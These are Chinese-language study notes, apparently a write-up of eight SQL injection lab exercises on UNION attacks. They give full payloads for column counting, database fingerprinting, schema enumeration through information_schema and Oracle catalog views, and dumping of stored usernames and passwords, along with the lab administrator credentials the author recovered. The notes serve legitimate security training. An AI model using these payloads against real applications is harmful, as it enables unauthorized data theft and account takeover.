声明
本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。
实验页面下面都有视频教程,很细 建议观看学习。笔记主要为记录过程,有错误的地方欢迎师傅们指正~
SQL注入
01 SQL 注入 UNION 攻击,查找包含文本的列
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。
要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。
解决方案
- 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
- 修改category参数,赋予它值'+UNION+SELECT+NULL--。观察是否发生错误。
- 修改category参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--
- 继续添加空值,直到错误消失并且响应包括包含空值的附加内容。
'+ORDER+BY+3--
image-20210731163649292
'+UNION+SELECT+NULL,NULL,NULL--
image-20210731163552066
02 SQL 注入 UNION 攻击,查找包含文本的列
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。
实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。
解决方案
- 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
- 确定查询返回的列数。使用category参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--
- 尝试用实验室提供的随机值替换每个空值,例如:'+UNION+SELECT+'abcdef',NULL,NULL--
- 如果发生错误,请移至下一个空值并改为尝试。
任务:使数据库检索字符串:'X8VH6Z'
image-20210731164553952
'+UNION+SELECT+NULL,NULL,'X8VH6Z'--
image-20210731165006938
03 SQL注入UNION攻击,从其他表中检索数据
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。
数据库包含一个名为 的不同表users,其列名为username和password。
为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。
解决方案
- Use Burp Suite to intercept and modify the request that sets the product category filter.
- 确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列,它们都包含文字,使用像在类别参数以下的有效载荷:'+UNION+SELECT+'abc','def'--。
- 使用以下有效负载检索users表的内容:'+UNION+SELECT+username,+password+FROM+users--
- 验证应用程序的响应是否包含用户名和密码。
使用'+UNION+SELECT+username,password+FROM+users--获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja
image-20210731165512802
使用得到的用户名密码登录
image-20210731165741362
04 SQL 注入 UNION 攻击,在单列中检索多个值
描述
该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
数据库包含一个名为 的不同表users,其列名为username和password。
为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。
解决方案
- 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
- 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,其中只有一列包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
- 使用以下有效负载检索users表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
- 验证应用程序的响应是否包含用户名和密码。
'+order+by+2--判断列数为2
image-20210731171105351
'+union+select+null,'aaa'--判断回显字段是第二个
image-20210731171130566
'+union+select+null,username+||+'~'+||+password+FROM+users--读取密码
image-20210731171242222
登录administrator~l32y00qu4gkslzqy9d0g
image-20210731171430777
05 SQL注入攻击,在Oracle上查询数据库类型和版本
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
要解决实验室问题,请显示数据库版本字符串。
解决方案
- 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
- 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
- 使用以下有效负载显示数据库版本:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
'+ORDER+BY+2--判断列数为2
image-20210731171919099
union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列
' UNION SELECT 'aa', NULL--
如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。
在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。
image-20210801004438926
测试' UNION SELECT 'aa', 'aa'--
报错Internal Server Error
image-20210801004727399
可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement
Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/
oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/
在 Oracle 中,SELECT语句必须有一个FROM子句。但是,某些查询不需要任何表
Oracle 为您提供了DUAL的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。
所以我们为union select后加上from DUAL子句
' UNION SELECT 'aa', 'aa' FROM DUAL--
显示成功
image-20210801005142291
参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句
SELECT banner FROM v$version SELECT version FROM v$instance
所以我们的payload是
' UNION SELECT banner, 'aa' FROM v$instance--
image-20210801005711456
刷新页面会显示恭喜解决
image-20210801005934960
06 SQL注入攻击,在MySQL和微软上查询数据库类型和版本
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。
要解决实验室问题,请显示数据库版本字符串。
解决方案
- Use Burp Suite to intercept and modify the request that sets the product category filter.
- 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
- 使用以下有效负载显示数据库版本:'+UNION+SELECT+@@version,+NULL#
同样的思路,先确定列数,通过网页显示内容可以猜测是2列
' ORDER BY 2--查询报错
image-20210801011242670
我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功
' ORDER BY 2#查询成功
image-20210801011412205
' UNION SELECT 'AAA', 'BBB'#查询
image-20210801011553835
现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载
SELECT @@version
' UNION SELECT @@version, 'BBB'#
image-20210801011807924
成功解决
image-20210801011853470
07 SQL注入攻击,列出非Oracle数据库上的数据库内容
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
要解决实验室,请以administrator用户身份登录。
解决方案
- 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
- 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--。
- 使用以下有效负载检索数据库中的表列表:'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
- 查找包含用户凭据的表的名称。
- 使用以下有效负载(替换表名)来检索表中列的详细信息:'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
- 查找包含用户名和密码的列的名称。
- 使用以下有效负载(替换表名和列名)检索所有用户的用户名和密码:'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
- 找到administrator用户的密码,并使用它登录。
1 确定列数
' ORDER BY 2--响应200
image-20210801012224894
2 确定每列的字段数据类型
' UNION SELECT 'AA', 'CC'--
image-20210801012347821
3 查询数据库类型
在我们的SQL 注入备忘单上找到一些有用的有效负载用来判断数据库类型
您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。
甲骨文 | SELECT banner FROM v$versionSELECT version FROM v$instance |
微软 | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
' UNION SELECT banner, 'CC' FROM v$version--错误,说明不是Oracle
' UNION SELECT @@version, 'CC'--错误,说明不是MySQL和mssql
' UNION SELECT version(), 'CC'--成功,说明是PostgreSQL
image-20210801012655480
4 检索数据库中的表列表
在我们的SQL 注入备忘单上找到一些有用的有效负载
PostgreSQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
Google搜索information_schema.tables PostgreSQL找到我们需要的列名
https://www.postgresql.org/docs/9.1/information-schema.html
选择columns查看所有的表目录、表架构、表名、列名等
image-20210801015648239
image-20210801015912597
我们需要的是表名,table_name
检索数据库中的表列表
' UNION SELECT table_name, 'CC' FROM information_schema.tables--查询数据库表名
image-20210801020239433
5 查找包含用户凭据的表的名称
我们找到users_随机字符的表users_nvjpgq,假设这是我们所需要的存放用户名密码的表
6 检索表中列的详细信息
现在我们需要输出表的列名
在我们的SQL 注入备忘单上找到一些有用的有效负载
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
SELECT * FROM information_schema.columns WHERE table_name = 'users_nvjpgq'
使用Google搜索我们需要的列名字段information_schema.columns PostgreSQL,得到column_name
https://www.postgresql.org/docs/9.5/infoschema-columns.html
image-20210801020841687
检索表中列的详细信息
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_nvjpgq'
7 查找包含用户名和密码的列的名称
很明显,我们需要的列名应该是username_viaxls和password_senvzp
image-20210801021056575
8 检索所有用户的用户名和密码
' UNION SELECT username_viaxls,password_senvzp FROM users_nvjpgq--查找用户名密码字段值
image-20210801021505496
9 找到administrator用户的密码,并使用它登录
administrator/hiny5a8q5m62aqhoyze9
image-20210801022127961
08 SQL注入攻击,在Oracle上列出数据库内容
描述
该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
要解决实验室,请以administrator用户身份登录。
解决方案
和上一个实验类似,也是找数据库中的用户名密码,步骤是一样的。
1 确定列数2
' ORDER BY 2--
image-20210801022946506
2 确定每列的字段数据类型-字符型
' UNION SELECT 'AA','CC' FROM DUAL--
image-20210801023111143
3 查询数据库类型
' UNION SELECT banner,'CC' FROM v$version--
image-20210801023233073
4 检索数据库中的表列表
查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句
SELECT * FROM all_tables
Google搜索all_tables oracle,找到TABLE_NAME
https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286
image-20210801023526544
检索数据库中的表列表
' UNION SELECT TABLE_NAME, NULL FROM all_tables--
image-20210801024902377
5 查找包含用户凭据的表的名称
USERS_SOMDZN
6 检索表中列的详细信息
查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Google搜索all_tab_columns,找到COLUMN_NAME
image-20210801025138919
检索表中列的详细信息
' UNION SELECT COLUMN_NAME, NULL FROM all_tab_columns WHERE table_name = 'USERS_SOMDZN'--
image-20210801025301767
7 查找包含用户名和密码的列的名称
USERNAME_ETJAFO和PASSWORD_RRYQDL
8 检索所有用户的用户名和密码
' UNION SELECT USERNAME_ETJAFO, PASSWORD_RRYQDL FROM USERS_SOMDZN--
image-20210801025451647
9 找到administrator用户的密码,并使用它登录
administrator/7710s0z9vh37a81c1n23
image-20210801025754289